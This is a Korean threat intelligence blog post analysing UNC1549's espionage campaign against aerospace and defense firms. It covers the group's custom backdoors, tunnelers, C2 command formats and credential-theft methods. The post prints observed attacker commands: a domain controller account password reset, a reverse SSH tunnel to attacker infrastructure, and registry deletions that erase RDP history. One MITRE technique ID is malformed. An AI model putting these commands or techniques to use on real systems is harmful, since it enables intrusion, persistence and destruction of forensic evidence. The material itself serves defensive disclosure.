콘텐츠로 이동하기
위협 인텔리전스

UNC1549의 그림자, 항공우주 및 방위 산업 생태계를 위협하는 악성코드 심층 분석

2025년 11월 17일
Mandiant

Mandiant Services

Stop attacks, reduce risk, and advance your security.

Contact Mandiant

해당 블로그의 원문은 2025년 11월 18일 Google Cloud 블로그(영문)에 게재되었습니다. 


작성자: Mohamed El-Banna, Daniel Lee, Mike Stokkel, Josh Goddard


개요

지난해, 맨디언트(Mandiant)는 중동의 항공우주, 항공 및 방위 산업을 겨냥한, 이란과 연계된 것으로 의심되는 스파이 활동을 조명하는 블로그 게시물을 발행했습니다. 이번 후속 게시물에서 맨디언트는 자사가 대응했던 침해사고에서 관찰된 추가적인 전술, 기술 및 절차(TTPs)에 대해 논의합니다.

2024년 중반부터 맨디언트는 위협 그룹 UNC1549가 항공우주, 항공 및 방위 산업을 대상으로 수행한 표적 캠페인에 대응해 왔습니다. UNC1549는 초기 접근 권한을 확보하기 위해 두 가지 접근 방식을 사용했습니다. 자격 증명을 탈취하거나 악성코드를 전달하도록 설계된 정교한 피싱 캠페인을 배포하는 한편, 제3자 공급업체 및 파트너와의 신뢰 관계를 악용했습니다.

후자의 기술은 특히 방위 산업체와 같이 보안 성숙도가 높은 조직을 표적으로 삼을 때 전략적입니다. 이러한 주요 표적은 강력한 방어 체계에 막대한 투자를 하는 경우가 많지만, 그들의 제3자 파트너는 상대적으로 덜 엄격한 보안 태세를 갖추고 있을 수 있습니다. 이러한 격차는 UNC1549에게 저항이 적은 경로를 제공하며, 연결된 기업을 먼저 침해함으로써 주요 표적의 핵심 보안 통제를 우회할 수 있게 합니다.

2023년 말부터 2025년까지 활동하면서, UNC1549는 진입을 위해 제3자 관계를 악용(서비스 제공업체에서 고객사로 피벗)하거나, 제3자로부터의 VDI(가상 데스크톱 인프라) 탈출, 그리고 직무와 밀접하게 관련된 고도로 표적화된 피싱 등 정교한 초기 접근 벡터를 사용했습니다.

내부로 침투한 후, 이 그룹은 프록시를 우회하기 위해 유사 도메인을 사용하는 스피어 피싱 캠페인에 피해자의 소스 코드를 훔쳐 활용하거나, 자격 증명 접근을 위해 내부 서비스 티켓팅 시스템을 악용하는 등 창의적인 내부 이동(lateral movement) 기술을 활용합니다. 그들은 특히 DCSync 공격을 수행하기 위해 검색 순서 하이재킹을 통해 배포되는 변종인 DCSYNCER.SLICK과 같은 맞춤형 도구를 사용합니다.

UNC1549의 캠페인은 조사관의 움직임을 예측하고 탐지된 후에도 장기적인 지속성을 확보하는 데 중점을 둔다는 점에서 두드러집니다. 그들은 몇 달 동안 조용히 신호를 보내는 백도어를 심어두고, 피해자가 악성코드를 완전히 제거하려고 시도한 후에야 접근 권한을 다시 얻기 위해 활성화합니다. 또한, (포렌식 증거를 제한하는) 광범위한 리버스 SSH 셸과 피해자의 산업을 전략적으로 모방한 도메인을 사용하여 은밀함과 명령 및 제어(C2)를 유지합니다.

위협 활동

초기 침해

UNC1549가 사용한 주요 초기 접근 벡터 중 하나는 표적화된 사회 공학 기법과 침해된 제3자 계정의 악용을 결합하는 것이었습니다. UNC1549는 벤더, 파트너 또는 기타 신뢰할 수 있는 외부 법인으로부터 수집한 자격 증명을 활용하여 이러한 관계에 내재된 합법적인 접근 경로를 악용했습니다.

제3자 서비스

특히, 이 그룹은 피해 조직이 제3자 파트너, 협력업체 및 계약자에게 제공하는 Citrix, VMWare, Azure 가상 데스크톱 및 애플리케이션 서비스를 자주 악용했습니다. 그들은 침해된 제3자 자격 증명을 사용하여 공급업체의 인프라에 인증함으로써 네트워크 경계 내에서 초기 발판을 마련했습니다. 인증 후, UNC1549는 가상화된 Citrix 세션의 보안 경계와 제한을 벗어나도록 설계된 기술을 사용했습니다. 이 '탈출(breakout)'을 통해 그들은 기본 호스트 시스템이나 인접 네트워크 세그먼트에 접근할 수 있었으며, 이를 통해 대상 기업 네트워크 더 깊은 곳으로 내부 이동 활동을 시작할 수 있었습니다.

스피어 피싱

UNC1549는 초기 네트워크 접근을 얻기 위한 방법 중 하나로 표적 스피어 피싱 이메일을 활용했습니다. 이 이메일들은 채용 기회나 모집 활동과 관련된 미끼를 사용하여 수신자가 첨부 파일이나 링크에 숨겨진 악성코드를 다운로드하고 실행하도록 유도했습니다. 그림 1은 피해자 중 한 명에게 전송된 피싱 이메일 샘플을 보여줍니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/unc1549-ttps-fig1.max-900x900.png

그림 1: UNC1549가 보낸 피싱 이메일 스크린샷

침해 성공 후, 맨디언트는 UNC1549가 IT 직원 및 관리자를 특히 표적으로 삼는 스피어 피싱 캠페인으로 전환하는 것을 관찰했습니다. 이 캠페인의 목표는 더 높은 권한을 가진 자격 증명을 획득하는 것이었습니다. 이러한 피싱 시도의 신뢰도를 높이기 위해, 공격자들은 종종 이미 침해된 받은 편지함에서 합법적인 비밀번호 재설정 요청 이메일을 검토하거나 회사의 내부 비밀번호 재설정 웹페이지를 식별하는 등 사전 정찰을 먼저 수행한 다음, 이러한 실제 프로세스를 모방하도록 악성 이메일을 정교하게 제작했습니다.

발판 확보

UNC1549는 침해된 네트워크 내에서 지속성을 유지하기 위해 여러 가지 자체 제작 백도어를 배포했습니다. 맨디언트가 2024년 2월 블로그 게시물에서 논의했던 MINIBIKE 외에도, 이 그룹은 TWOSTROKE 및 DEEPROOT과 같은 다른 맞춤형 악성코드도 활용합니다. 특히, 맨디언트의 분석에 따르면 초기 표적 공격 및 침해에 사용된 악성코드는 고유하지 않았지만, 식별된 모든 공격 성공 후(post-exploitation) 페이로드는 종류에 관계없이 고유한 해시 값을 가졌습니다. 여기에는 동일한 피해자 네트워크 내에서 동일한 백도어 변종의 여러 샘플이 발견된 경우도 포함됩니다. 이러한 접근 방식은 UNC1549의 정교함과, 탐지를 회피하고 포렌식 조사를 복잡하게 만들기 위해 도구를 맞춤 제작하는 데 상당한 노력을 투자했음을 강조합니다.

검색 순서 하이재킹

UNC1549는 CRASHPAD, DCSYNCER.SLICK, GHOSTLINE, LIGHTRAIL, MINIBIKE, POLLBLEND, SIGHTGRAB, TWOSTROKE 페이로드를 실행하기 위해 DLL 검색 순서 하이재킹을 악용했습니다. UNC1549는 DLL 검색 순서 하이재킹 기술을 사용하여 자신들의 도구를 지속적이고 은밀하게 실행하는 방법을 확보했습니다.

여러 조사 과정에서 UNC1549는 다양한 소프트웨어 솔루션에서 DLL 검색 순서 하이재킹을 악용함으로써 소프트웨어 의존성에 대한 포괄적인 이해도를 보여주었습니다. UNC1549는 합법적인 Fortigate, VMWare, Citrix, Microsoft, NVIDIA 실행 파일을 표적으로 삼는 악성 바이너리를 배포했습니다. 많은 경우, 위협 행위자는 SOH(검색 순서 하이재킹)를 악용하기 위해 초기 접근 후에 합법적인 소프트웨어를 설치했습니다. 그러나 다른 경우에는, 공격자가 이미 피해자 시스템에 설치된 소프트웨어를 활용한 다음, 일반적으로 SYSTEM 권한으로 합법적인 설치 디렉터리 내에 악성 DLL을 교체하거나 추가했습니다.

TWOSTROKE

TWOSTROKE는 C++로 작성된 백도어로, 컨트롤러와 통신하기 위해 SSL로 암호화된 TCP/443 연결을 사용합니다. 이 악성코드는 시스템 정보 수집, DLL 로딩, 파일 조작 및 지속성 확보를 가능하게 하는 다양한 명령어 세트를 가지고 있습니다. MINIBIKE와 일부 유사점을 보이지만, 고유한 백도어로 간주됩니다.

TWOSTROKE가 실행되면, 고유한 피해자 식별자를 생성하기 위해 특정 루틴을 사용합니다. TWOSTROKE는 윈도우 API 함수 GetComputerNameExW(ComputerNameDnsFullyQualified)를 사용하여 정규화된 DNS 컴퓨터 이름을 검색합니다. 이 검색된 이름은 정적 키를 사용하여 XOR 암호화 과정을 거칩니다. 암호화 후, 결과 바이너리 데이터는 소문자 16진수 문자열로 변환됩니다.

마지막으로, TWOSTROKE는 이 16진수 문자열의 첫 8개 문자를 추출하여 역순으로 뒤집은 후, 이를 나중에 C2 서버와 통신하기 위한 피해자의 고유한 봇 ID로 사용합니다.

기능

C2 서버에 체크인 요청을 보낸 후, TWOSTROKE C2 서버는 '@##@'로 구분된 여러 값을 포함하는, 16진수로 인코딩된 페이로드로 응답합니다. 수신된 명령어에 따라 TWOSTROKE는 다음 명령어 중 하나를 실행할 수 있습니다.

  • 1: C2로 파일 업로드

  • 2: 파일 또는 셸 명령어 실행

  • 3: 메모리에서 DLL 실행

  • 4: C2에서 파일 다운로드

  • 5: 전체 피해자 사용자 이름 가져오기

  • 6: 전체 피해자 머신 이름 가져오기

  • 7: 디렉터리 목록 보기

  • 8: 파일 삭제

LIGHTRAIL

UNC1549가 공격자가 소유한 인프라에서 ZIP 파일을 다운로드하는 것이 관찰되었습니다. 이 ZIP 파일에는 LIGHTRAIL 터널러가 VGAuth.dll로 포함되어 있었고, VGAuthCLI.exe 실행 파일을 통한 검색 순서 하이재킹을 통해 실행되었습니다. LIGHTRAIL은 Azure 클라우드 인프라를 사용하여 통신하는, 오픈 소스 Socks4a 프록시인 Lastenzug에 기반을 둔 것으로 추정되는 자체 제작 터널러입니다.

LIGHTRAIL 샘플과 LastenZug 소스 코드 사이에는 몇 가지 뚜렷한 차이점이 있습니다. 여기에는 다음이 포함됩니다.

  • MAX_CONNECTIONS를 250에서 5000으로 증가

  • lastenzug 함수 내의 정적 구성 (wPath 및 port)

  • WebSocket C2에 연결할 때 프록시 서버 사용 미지원

  • 함수 수를 줄이는(26개에서 10개로) 컴파일러 최적화

또한, LastenZug는 DLL 및 API 함수 확인(resolving)을 위해 해싱을 사용합니다. 기본적으로 해시 값은 0x41507712 값과 XOR 연산되는 반면, 관찰된 LIGHTRAIL 샘플의 XOR 값은 원본 소스 코드와 다른 0x41424344('ABCD')였습니다.

필요한 API 함수 포인터를 로드한 후, 초기화는 서버 이름(wServerName), 포트, URI(wPath) 값을 채우는 것으로 계속됩니다. 포트는 443(HTTPS용)으로 하드코딩되어 있고 경로는 "/news"로 하드코딩되어 있습니다. 이는 이 값들이 lastenzug 함수에 대한 입력 매개변수인 소스 코드와는 다릅니다.

initWS 함수는 윈도우 WinHTTP API를 사용하여 WebSocket 연결을 설정하는 역할을 합니다. initWS 함수는 스택 문자열로 구성하는, 하드코딩된 User-Agent 문자열을 가지고 있습니다.

Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136

맨디언트는 독일에서 VirusTotal에 업로드된 또 다른 LIGHTRAIL 샘플을 식별했습니다. 그러나 이 샘플은 C2 도메인이 의도적으로 변경된 것으로 보아 업로더에 의해 수정된 것으로 보입니다.

GET https://aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com/page HTTP/1.1
Host: aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com
Connection: Upgrade
Upgrade: websocket
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136
Sec-WebSocket-Key: 9MeEoJ3sjbWAEed52LdRdg==
Sec-WebSocket-Version: 13

그림 2: 수정된 LIGHTRAIL 네트워크 통신 스니펫

가장 주목할 점은 이 샘플이 통신에 다른 URL 경로를 사용한다는 것뿐만 아니라, 이 샘플의 User-Agent가 이전 LIGHTRAIL 샘플 및 LastenZug 소스 코드에서 관찰된 것과 다르다는 것입니다.

DEEPROOT

DEEPROOT은 Golang으로 작성된 리눅스 백도어로, 셸 명령어 실행, 시스템 정보 열람, 파일 목록 조회, 삭제, 업로드, 다운로드 기능을 지원합니다. DEEPROOT은 리눅스 시스템에서 작동하도록 컴파일되었습니다. 그러나 Golang의 아키텍처 특성상 다른 운영 체제용으로도 컴파일될 수 있습니다. 이 글을 작성하는 시점에서 맨디언트는 윈도우 시스템을 표적으로 하는 DEEPROOT 샘플은 관찰하지 못했습니다.

DEEPROOT은 마이크로소프트 애저(Microsoft Azure)에서 호스팅되는 여러 C2 도메인을 사용하는 것으로 관찰되었습니다. 관찰된 DEEPROOT 샘플들은 바이너리당 여러 C2 서버를 사용했는데, 이는 하나의 C2 서버가 다운될 경우를 대비한 이중화(redundancy) 목적으로 사용된 것으로 추정됩니다.

기능

C2 서버에 체크인 요청을 보낸 후, DEEPROOT C2 서버는 '-===-'로 구분된 여러 값을 포함하는, 16진수로 인코딩된 페이로드로 응답합니다.

<sleep_timeout>-===-<command_id>-===-<command>-===-<argument_1>-===-<argument_2>

그림 3: 디코딩된 POST 본문 데이터 구조

  • sleep_timeout: 다음 요청을 보내기 전까지 대기할 시간(밀리초 단위)입니다.

  • command_id: C2 명령어에 대한 식별자로, 백도어가 C2에 결과를 응답할 때 사용됩니다.

  • command: 명령어 번호이며, 다음 중 하나입니다.

    • 1 - 디렉터리 정보 가져오기(디렉터리 목록), argument_1에서 디렉터리 경로를 받습니다.

    • 2 - 파일 삭제, argument_1에서 파일 경로를 받습니다.

    • 3 - 피해자 사용자 이름 가져오기.

    • 4 - 피해자 호스트 이름 가져오기.

    • 5 - 셸 명령어 실행, argument_1에서 셸 명령어를 받습니다.

    • 6 - C2에서 파일 다운로드, argument_1에서 C2 파일 경로를, argument_2에서 로컬 파일 경로를 받습니다.

    • 7 - C2로 파일 업로드, argument_1에서 로컬 파일 경로를 받습니다.

  • argument_1 및 argument_2: 명령어의 인자(argument)이며, 선택 사항입니다.

GHOSTLINE

GHOSTLINE은 Golang으로 작성된 윈도우 터널러 유틸리티로, 통신에 하드코딩된 도메인을 사용합니다. GHOSTLINE은 네트워크 연결을 위해 go-yamux 라이브러리를 사용합니다.

POLLBLEND

POLLBLEND는 C++로 작성된 윈도우 터널러입니다. 초기 버전의 POLLBLEND는 여러 개의 하드코딩된 C2 서버를 특징으로 했으며, 자체 등록 및 터널러 설정 다운로드를 위해 두 개의 하드코딩된 URI 파라미터를 활용했습니다. 머신을 등록하기 위해, POLLBLEND는 /register/로 접속하여 다음 JSON 본문을 포함한 HTTP POST 요청을 전송했습니다.

{"username": "<computer_name>"}

그림 4: POLLBLEND 본문 데이터

코드 서명

여러 침해 사고에서 UNC1549의 활동을 추적하는 동안, 이란의 지원을 받는 이 위협 그룹이 자신들의 백도어 바이너리 일부에 합법적인 코드 서명 인증서로 서명하는 것이 관찰되었습니다. 이 전술은 체크포인트(Check Point)에서도 다룬 바 있으며, 악성코드가 탐지를 회피하고, 종종 디지털 서명된 코드를 신뢰하도록 구성된 애플리케이션 허용 목록과 같은 보안 통제를 우회하는 데 도움을 주기 위한 것으로 보입니다. 이 그룹은 GHOSTLINE, POLLBLEND, TWOSTROKE의 변종을 포함한 악성코드 샘플을 무기화하기 위해 이 기술을 사용했습니다. 식별된 모든 코드 서명 인증서는 폐기를 위해 관련 발급 인증 기관(Certificate Authorities)에 보고되었습니다.

권한 상승

UNC1549는 침해 후 자격 증명을 훔치고 민감한 데이터를 수집하는 것을 목표로 하는 다양한 기술과 맞춤형 도구를 사용하는 것이 관찰되었습니다. 여기에는 DCSync 액티브 디렉터리 복제 기능을 모방하도록 설계된 DCSYNCER.SLICK이라는 유틸리티가 포함됩니다. DCSync는 도메인 컨트롤러가 RPC를 통해 변경 사항을 복제하는 데 사용하는 합법적인 기능입니다. 이를 통해 공격자는 도메인 컨트롤러에서 직접 NTLM 암호 해시를 추출할 수 있었습니다. CRASHPAD라는 또 다른 도구는 웹 브라우저에 저장된 자격 증명을 추출하는 데 중점을 둡니다. 시각적 데이터 수집을 위해, 그들은 주기적으로 스크린샷을 찍어 사용자 화면에 표시되는 민감한 정보를 캡처할 수 있는 도구인 SIGHTGRAB을 배포했습니다. 또한, UNC1549는 사용자가 자격 증명을 입력하도록 유도하는 가짜 팝업 창을 띄우고, 이를 공격자가 수집하는 TRUSTTRAP과 같은 더 간단한 방법도 활용했습니다.

UNC1549는 도메인 사용자의 NTLM 암호 해시를 얻기 위해 DCSync 공격을 자주 사용했으며, 이를 크랙하여 내부 이동 및 권한 상승을 용이하게 했습니다. DCSync에 필요한 디렉터리 복제 권한을 얻기 위해, 위협 행위자는 여러 방법을 사용했습니다. 그들은 net.exe를 사용하여 도메인 컨트롤러 컴퓨터 계정의 비밀번호를 비정상적으로 재설정하는 것이 관찰되었습니다. 이 작업은 일반적으로 호스트의 도메인 컨트롤러 기능을 망가뜨리고 서비스 중단을 유발했지만, 성공적으로 DCSync 작업을 수행하고 도메인 관리자 및 Azure AD Connect 계정의 자격 증명을 포함한 민감한 정보를 추출할 수 있게 했습니다. UNC1549는 불량 컴퓨터 계정을 생성하고 리소스 기반 제한 위임(RBCD) 할당을 악용하는 등, 도메인 복제 권한을 얻기 위해 다른 기술도 활용했습니다. 그들은 또한 자격 증명 탈취를 위해 난독화된 Invoke-Kerberoast 스크립트를 활용하여 Kerberoasting을 수행했습니다.

net user DC-01$ P@ssw0rd

그림 5: UNC1549가 도메인 컨트롤러 컴퓨터 계정을 재설정하는 데 사용한 net.exe 명령어 예시

일부 사례에서는, 워크스테이션에서 발판을 확보한 직후 UNC1549가 취약한 액티브 디렉터리 인증서 서비스(Active Directory Certificate Services) 템플릿을 발견했습니다. 그들은 이를 사용하여 인증서를 요청했으며, 이를 통해 더 높은 권한을 가진 사용자 계정을 사칭할 수 있었습니다.

UNC1549는 또한 악성 유틸리티를 통하거나 RDP 세션 하이재킹을 통해 웹 브라우저 내에 저장된 자격 증명을 자주 표적으로 삼았습니다. 후자의 경우, 위협 행위자는 quser.exe 또는 wmic.exe를 통해 어떤 사용자가 시스템에 로그인했는지 식별한 다음, 해당 사용자의 계정으로 그 시스템에 RDP로 접속하여 활성화되고 잠금 해제된 웹 브라우저 세션에 접근했습니다.

DCSYNCER.SLICK

DCSYNCER.SLICK은 오픈 소스 프로젝트인 DCSyncer에 기반을 둔 윈도우 실행 파일이며, Mimikatz 소스 코드에 기반을 두고 있습니다. DCSYNCER.SLICK은 동적 API 확인(Dynamic API resolution)을 사용하도록 수정되었으며, 모든 printf 문이 제거되었습니다.

또한, DCSYNCER.SLICK은 자격 증명을 하드코딩된 파일 이름과 경로에 쓰기 전에 수집하여 XOR 암호화합니다. 다음과 같은 하드코딩된 파일 이름과 경로가 DCSYNCER.SLICK에 의해 사용되는 것이 관찰되었습니다.

  • C:\users\public\LOG.txt

  • C:\Program Files\VMware\VMware Tools\VMware VGAuth\LOG.txt

탐지를 회피하기 위해, UNC1549는 침해된 도메인 컨트롤러 컴퓨터 계정의 컨텍스트 내에서 악성코드를 실행했습니다. 그들은 계정 비밀번호를 수동으로 재설정하여 이러한 침해를 달성했습니다. netdom 표준 명령어를 사용하는 대신, UNC1549는 윈도우 명령어인 net user <computer_name> <password>를 사용했습니다. 이후, 그들은 새로 획득한 이 자격 증명을 사용하여 DCSYNCER.SLICK 페이로드를 실행했습니다. 이 전술은 두 개의 합법적인 도메인 컨트롤러 간에 복제가 일어난 것처럼 잘못된 인상을 줄 수 있었습니다.

CRASHPAD

CRASHPAD는 C++로 작성된 윈도우 실행 파일로, explorer.exe 사용자 권한을 사칭하고 CryptUnprotectData API를 통해 config.txt 파일의 내용을 crash.log 파일로 복호화합니다.

  • C:\Program Files\VMware\VMware Tools\VMware VGAuth\crash.log

  • C:\Program Files\VMware\VMware Tools\VMware VGAuth\config.txt

CRASHPAD가 실행된 후 UNC1549가 출력물을 삭제했기 때문에 이 파일들의 내용은 확인할 수 없었습니다.

CRASHPAD의 설정 및 출력 파일 경로는 DCSYNCER.SLICK 바이너리에서 발견된 LOG.txt 파일 이름과 유사하게 샘플에 하드코딩되어 있었습니다.

SIGHTGRAB

SIGHTGRAB은 C로 작성된 윈도우 실행 파일로, 정기적으로 스크린샷을 자율적으로 캡처하여 디스크에 저장합니다. 실행 시 SIGHTGRAB은 런타임에 User32.dllGdi32.dllOle32.dll을 포함한 여러 윈도우 라이브러리를 동적으로 로드합니다. SIGHTGRAB은 시스템 함수에 접근하기 위해 인코딩된 문자열과 함께 LoadLibraryA 및 GetProcAddress 호출을 통해 런타임 API 확인(resolution)을 구현합니다. SIGHTGRAB은 0x41의 단일 바이트 키를 사용한 XOR 암호화를 통해 API 함수 이름을 디코딩합니다.

SIGHTGRAB은 현재 타임스탬프를 검색하고, 이 타임스탬프에 YYYY-MM-DD-HH-MM 형식의 문자열 보간(string interpolation)을 사용하여 디렉터리 이름을 생성합니다. 새로 생성된 이 디렉터리에 SIGHTGRAB은 캡처된 모든 스크린샷을 순차적으로 저장합니다.

C:\Users\Public\Videos\2025-3-7-10-17\1.jpg
C:\Users\Public\Videos\2025-3-7-10-17\2.jpg
C:\Users\Public\Videos\2025-3-7-10-17\3.jpg

C:\Users\Public\Music\2025-3-7-10-17\1.jpg
C:\Users\Public\Music\2025-3-7-10-17\2.jpg
C:\Users\Public\Music\2025-3-7-10-17\3.jpg

그림 6: SIGHTGRAB이 디스크에 생성한 스크린샷 파일 예시

맨디언트는 UNC1549가 두 가지 범주의 사용자를 표적으로 삼기 위해 워크스테이션에 SIGHTGRAB을 전략적으로 배포하는 것을 관찰했습니다. 민감한 데이터를 다루는 사용자를 표적으로 삼아 후속 데이터 노출 및 유출을 가능하게 하고, 권한 있는 접근 권한을 가진 사용자를 표적으로 삼아 권한 상승 및 제한된 시스템에 대한 접근을 가능하게 합니다.

TRUSTTRAP

TRUSTTRAP은 사용자를 속여 자격 증명을 입력하도록 유도하는 윈도우 프롬프트를 띄우는 악성코드입니다. 탈취된 자격 증명은 일반 텍스트(cleartext)로 파일에 저장됩니다. 그림 7은 TRUSTTRAP이 마이크로소프트 아웃룩 로그인 창을 모방하여 띄운 팝업 샘플을 보여줍니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/unc1549-ttps-fig7.max-800x800.png

그림 7: 가짜 마이크로소프트 아웃룩 로그인 창 스크린샷

UNC1549는 적어도 2023년부터 내부 이동(lateral movement)에 사용될 사용자 자격 증명을 획득하기 위해 TRUSTTRAP을 사용해 왔습니다.

정찰 및 내부 이동

내부 정찰을 위해, UNC1549는 일반적인 관리 활동에 섞여 들어가기 위해 합법적인 도구와 공개적으로 사용 가능한 유틸리티를 활용했습니다. 마이크로소프트가 서명한 유효한 실행 파일인 AD Explorer는 액티브 디렉터리를 쿼리하고 그 설정 세부 정보를 조사하는 데 사용되었습니다. 이와 함께, 이 그룹은 도메인 내의 특정 사용자 계정 및 그룹 멤버십을 열거하기 위해 net user 및 net group과 같은 윈도우 네이티브 명령어를 사용했으며, 일반적으로 권한 있는 서버나 IT 관리자 워크스테이션과 관련된 특정 서브넷에 대한 핑 및 포트 스캐닝 정찰을 위해 파워셸 스크립트를 사용했습니다.

UNC1549는 피해자 환경 내의 제약 조건에 따라 매우 다양한 내부 이동 방법을 사용합니다. 가장 빈번하게는 RDP가 사용되었습니다. 맨디언트는 또한 파워셸 원격(PowerShell Remoting), Atelier Web Remote Commander(“AWRC”), SCCM 원격 제어 사용을 관찰했으며, 여기에는 시스템에서 SCCM 원격 제어를 활성화하기 위한 SCCMVNC 변종 실행도 포함되었습니다.

Atelier Web Remote Commander

Atelier Web Remote Commander(AWRC)는 윈도우 시스템을 원격으로 관리, 감사, 지원하기 위한 상용 유틸리티입니다. 이 도구의 주요 특징은 에이전트리스(agentless) 설계로, 원격 머신에 소프트웨어 설치나 사전 구성이 필요 없어 관리자가 즉시 연결할 수 있다는 점입니다.

UNC1549는 AWRC의 기능을 활용하여 침해 후 활동(post-compromise activities)을 용이하게 했습니다. 이러한 활동에는 다음이 포함됩니다.

  • 원격 연결 설정: AWRC를 사용하여 침해된 네트워크 내의 표적 호스트에 원격으로 연결

  • 정찰 수행: AWRC의 내장 기능을 사용하여 다음 정보를 수집:

    • 실행 중인 서비스 열거

    • 활성 프로세스 열거

    • 기존 RDP 세션 열거

  • 자격 증명 탈취: AWRC를 악용하여 원격 시스템에서 저장된 사용자 자격 증명을 포함하는 것으로 알려진 민감한 브라우저 파일을 유출

  • 악성코드 배포: AWRC를 침해된 머신에 악성코드를 전송하고 배포하는 벡터로 사용

SCCMVNC

SCCMVNC는 마이크로소프트 시스템 센터 컨피규레이션 매니저(SCCM/ConfigMgr) 내의 기존 원격 제어 기능을 활용하여, 추가적인 제3자 모듈이나 사용자 동의/알림 없이 VNC와 유사한 원격 접근 경험을 달성하도록 설계된 도구입니다.

SCCM.exe reconfig /target:[REDACTED]

그림 8: UNC1549가 SCCMVNC 명령어를 실행하는 예시

SCCMVNC의 핵심 기능은 SCCM의 기존 원격 제어 기능을 조작하는 데 있습니다. 이 도구는 별도의 VNC 서버나 다른 원격 접근 소프트웨어를 배포하는 대신, 클라이언트 워크스테이션에 있는 SCCM 네이티브 원격 제어 서비스의 설정을 직접적으로 조작하고 재구성합니다. 이 접근 방식은 기업 환경 내에 이미 존재하며 신뢰받는 구성 요소를 활용합니다.

SCCMVNC의 핵심적인 측면은 SCCM 원격 제어와 일반적으로 관련된 표준 동의 및 알림 메커니즘을 우회하는 능력에 있습니다. 일반적으로 SCCM 원격 제어 세션이 시작되면 최종 사용자에게 권한을 묻는 메시지가 표시되고 다양한 알림 아이콘이나 연결 표시줄이 나타납니다. SCCMVNC는 이러한 사용자 대상 요구 사항을 비활성화하기 위해 (주로 WMI 상호작용을 통해) 기본 SCCM 설정을 효과적으로 재구성합니다. 이러한 변경을 통해 사용자가 진행 중인 세션을 즉시 인지하지 못할 수 있는 VNC 연결에서 기대할 수 있는 것과 유사한, 훨씬 더 은밀하고 원활한 원격 접근 경험이 가능해집니다.

명령 및 제어 (C2)

UNC1549는 C2를 위해 Microsoft Azure 웹 앱 등록 및 클라우드 인프라를 계속해서 사용했습니다. MINIBUS, MINIBIKE, TWOSTROKE를 포함한 백도어 외에도, UNC1549는 C2 서버에서 침해된 시스템으로 트래픽을 전달하기 위해 침해된 시스템에 설정된 SSH 리버스 터널에 크게 의존했습니다. 보안 텔레메트리는 네트워크 연결만 기록하기 때문에, 이 기술은 조사 과정에서 호스트 기반 아티팩트의 가용성을 제한했습니다. 예를 들어, SMB 공유에서 데이터를 수집하는 동안 SSH 프로세스에서 원격 시스템의 445번 포트로 향하는 아웃바운드 연결이 관찰되었지만, 피해자 환경 내에서 스테이징(staging)이 발생하지 않았고 객체 감사가 비활성화되어 있었기 때문에 수집된 실제 데이터는 확인할 수 없었습니다.

C:\windows\system32\openssh\ssh.exe[Username]@[IP Address] -p 443 -o ServerAliveInterval=60 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -f -N -R 1070

그림 9: UNC1549 리버스 SSH 명령어 예시

맨디언트는 또한 UNC1549가 ZEROTIER 및 NGROK을 포함한 다양한 이중화 원격 접근 방법을 배포한 증거를 확인했습니다. 일부 사례에서, 이러한 대체 방법들은 피해 조직이 복구 조치를 수행하기 전까지는 위협 행위자에 의해 사용되지 않았습니다. 이는 주로 접근 권한을 유지하기 위해 배포되었음을 시사합니다.

임무 완수

스파이 활동

UNC1549의 작전은 스파이 활동에 의해 강력하게 동기 부여된 것으로 보이며, 임무 목표는 표적 네트워크로부터 광범위한 데이터를 수집하는 데 중점을 둡니다. 이 그룹은 네트워크/IT 문서, 지적 재산, 이메일을 포함한 민감한 정보를 적극적으로 찾습니다. 더욱이, UNC1549는 종종 침해된 조직을 발판으로 삼아, 특히 동일 산업 분야 내의 다른 기업들을 표적으로 삼기 위해 그들의 접근 권한을 사용합니다. 이는 정보 수집 목표를 더욱 발전시키기 위해 효과적으로 제3자 공급업체 및 파트너 침입을 수행하는 것입니다.

특히, 맨디언트는 관련 없는 분야의 한 조직에서 발생한 침해 사고에 대응했으며, 초기 스피어 피싱 미끼가 항공우주 및 방위 산업 조직의 채용과 관련되었기 때문에 이 침해는 기회주의적이었던 것으로 평가했습니다. 이는 UNC1549가 즉각적으로 전통적인 스파이 활동 목표에 부합하지 않는 피해 조직에서도 접근 권한을 확장하고 지속성을 유지하기 위해 자원을 투입할 능력이 있음을 보여주었습니다.

방어 회피

UNC1549는 탐지를 피하고 조사 노력을 방해하기 위해 실행 후 침해된 시스템에서 유틸리티를 자주 삭제했습니다. RDP 연결 기록 레지스트리 키를 포함한 포렌식 아티팩트의 삭제도 관찰되었습니다. 또한, 앞에서 설명한 바와 같이, 이 그룹은 피해자 호스트에서 자신들의 인프라로 SSH 리버스 터널을 반복적으로 사용했는데, 이 기술은 해당 시스템에 설치된 EDR 에이전트로부터 그들의 활동을 숨기는 데 도움이 되었습니다. 종합적으로, 이러한 활동은 지난 1년간 UNC1549의 작전 보안(operational security)이 향상되었음을 보여주었습니다.

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f

그림 10: RDP 연결 기록 레지스트리 키를 삭제하는 UNC1549 명령어 예시

감사의 말

이 분석은 구글 위협 인텔리전스 그룹(Google Threat Intelligence Group), 맨디언트 컨설팅(Mandiant Consulting), 그리고 FLARE 팀 전반의 도움이 없었다면 불가능했을 것입니다. 특히 FLARE 팀의 Greg Sinclair와 Mustafa Nasser, 그리고 맨디언트 컨설팅의 Melissa Derr, Liam Smith, Chris Eastwood, Alex Pietz, Ross Inman, Emeka Agu 님께 감사의 말씀을 전합니다.

MITRE ATT&CK

전술

ID

이름

설명

수집

T1213.002

정보 저장소의 데이터: 셰어포인트

UNC1549는 갈취에 사용할 파일을 다운로드하기 위해 마이크로소프트 팀즈와 셰어포인트를 탐색했습니다.

수집

T1113

스크린 캡처

UNC1549가 민감한 데이터의 스크린샷을 찍는 것이 관찰되었습니다.

정찰

T16561598.003

정보 수집을 위한 피싱

UNC1549는 비밀번호 재설정 포털 테마를 사용하여 권한 있는 계정을 획득하기 위해 제3자 벤더 계정을 사용했습니다.

자격 증명 접근

T1110.003

브루트 포스: 패스워드 스프레이

